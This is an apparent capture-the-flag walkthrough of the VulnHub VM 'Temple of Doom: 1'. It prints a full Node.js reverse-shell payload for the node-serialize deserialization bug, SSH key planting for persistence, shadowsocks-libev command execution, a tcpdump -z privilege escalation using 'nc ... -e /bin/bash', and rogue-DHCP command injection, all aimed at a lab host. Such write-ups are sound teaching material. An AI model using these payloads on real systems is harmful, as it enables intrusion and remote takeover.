This post documents the complete walkthrough of Temple of Doom: 1, a boot2root VM created by @0katz, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

Background

You know it’s a high quality VM when it’s from @Pink_P4nther’s homie, @katz.

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.129
...
PORT    STATE SERVICE REASON         VERSION
22/tcp  open  ssh     syn-ack ttl 64 OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 95:68:04:c7:42:03:04:cd:00:4e:36:7e:cd:4f:66:ea (RSA)
|   256 c3:06:5f:7f:17:b6:cb:bc:79:6b:46:46:cc:11:3a:7d (ECDSA)
|_  256 63:0c:28:88:25:d5:48:19:82:bb:bd:72:c6:6c:68:50 (ED25519)
666/tcp open  http    syn-ack ttl 64 Node.js Express framework
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

nmap finds 22/tcp and 666/tcp open.

Node.js Deserialization Bug

Let’s pay 666/tcp a visit and see what we can find there.

50ad81b1.png

Satan’s temple is still under construction? Thank God :pray: I’m not going to hell any time soon.

Look what happens when I refresh the page.

9f6cc22b.png

Look at the cookies storage.

332df422.png

This is the node-serialize bug documented in CVE-2017-5941.

In any case, there’s an easy way to exploit this vulnerability following the instructions here.

There’s a slight difference though—I’m using the reverse shell generated by msfvenom instead.

# msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.30.128 LPORT=4444

Incorporate the output from msfvenom into rce.js. Remember to remove the enclosing round brackets.

rce.js
var rev = {
rce:function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(4444, "192.168.30.128", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); },
};

var serialize = require('node-serialize');
console.log(serialize.serialize(rev));

Run node rce.js to get the serialized string output.

87473663.png

Next, add the IIFE bracket () at the end of the serialized string output from the previous step before passing it to base64 for encoding.

398e3f8d.png

Send the entire base64 string as the profile cookie value to http://192.168.30.129:666. But before you do that, you want to set up your nc listener.

0cfb9b07.png

As expected, the nc listener caught the reverse shell.

fe9a4b46.png

You can see that nodeadmin is a regular user with its home directory at /home/nodeadmin; we can copy the SSH public key we control to /home/nodeadmin/.ssh/authorized_keys and log in through SSH. We get a more superior shell this way and Ctrl-C doesn’t kill the shell. :smirk:

9ca6cba5.png

Here’s how to do that. First, generate the SSH keypair for nodeadmin.

75c59205.png

Next, create /home/nodeadmin/.ssh and echo the SSH public key to authorized_keys.

8932e285.png

Now, SSH into nodeadmin’s account.

Command Execution in shadowsocks-libev

During enumeration of nodeadmin’s account, I notice /usr/local/bin/ss-manager is running as fireman.

a2034971.png

A quick search for “ss-manager” in Google led me to EDB-ID 43006. Listing the listening ports further confirmed the command execution “feature”.

5a264f18.png

A more liberal nc is also available for use in the VM.

96d18f6d.png

Armed with this knowledge, we can execute nc to give us a reverse shell as fireman.

1119288b.png

On our nc listener, a reverse shell returns as fireman.

118e46df.png

We can repeat the same SSH trick for fireman.

Dangerous tcpdump

During enumeration of fireman’s account, I found the following.

5c72e0cc.png

tcpdump in particular, can execute commands and run in another user’s privilege with the -z and -Z options respectively.

Let’s save nc 192.168.30.128 1234 -e /bin/bash into /tmp/rev.sh and make it executable.

2202213b.png

And execute tcpdump like so.

c1ef1436.png

On the nc listener, a root shell returns.

702d370f.png

After repeating the SSH trick, getting the flag is trivial.

9dfe8eb7.png

:dancer:

Afterthought

I wonder what’s the second method for getting root? Could it be the exploitation of abrt?

I think I got it figured out. CVE-2018-1111 anyone?

The signs were there all this time.

c1a0b34c.png

There’s a reason why fireman can sudo to execute nmcli and iptables. Even the source of the vulnerability is present.

53cf80ea.png

The proof-of-concept (PoC) code is so small it can fit inside a tweet, with the help of dnsmasq of course.

Let’s try it out.

In one terminal, I set up my attacking machine (192.168.30.128) as the rogue DHCP server with dnsmasq. In another terminal, I set up the nc listener to catch the reverse shell.

6b69b4b4.png

Now, let’s renew the VM’s IP address with nmcli. My rogue DHCP server will respond to the VM’s DHCP request with the injected command (nc to send /bin/bash over to me, i.e. a reverse shell) in the DHCP offer.

42188e5c.png

A root shell returns.

2de2fbdf.png

Below are the DHCP packets and the rogue DHCP offer captured in WireShark.

7daab6b2.png

cb889f9c.png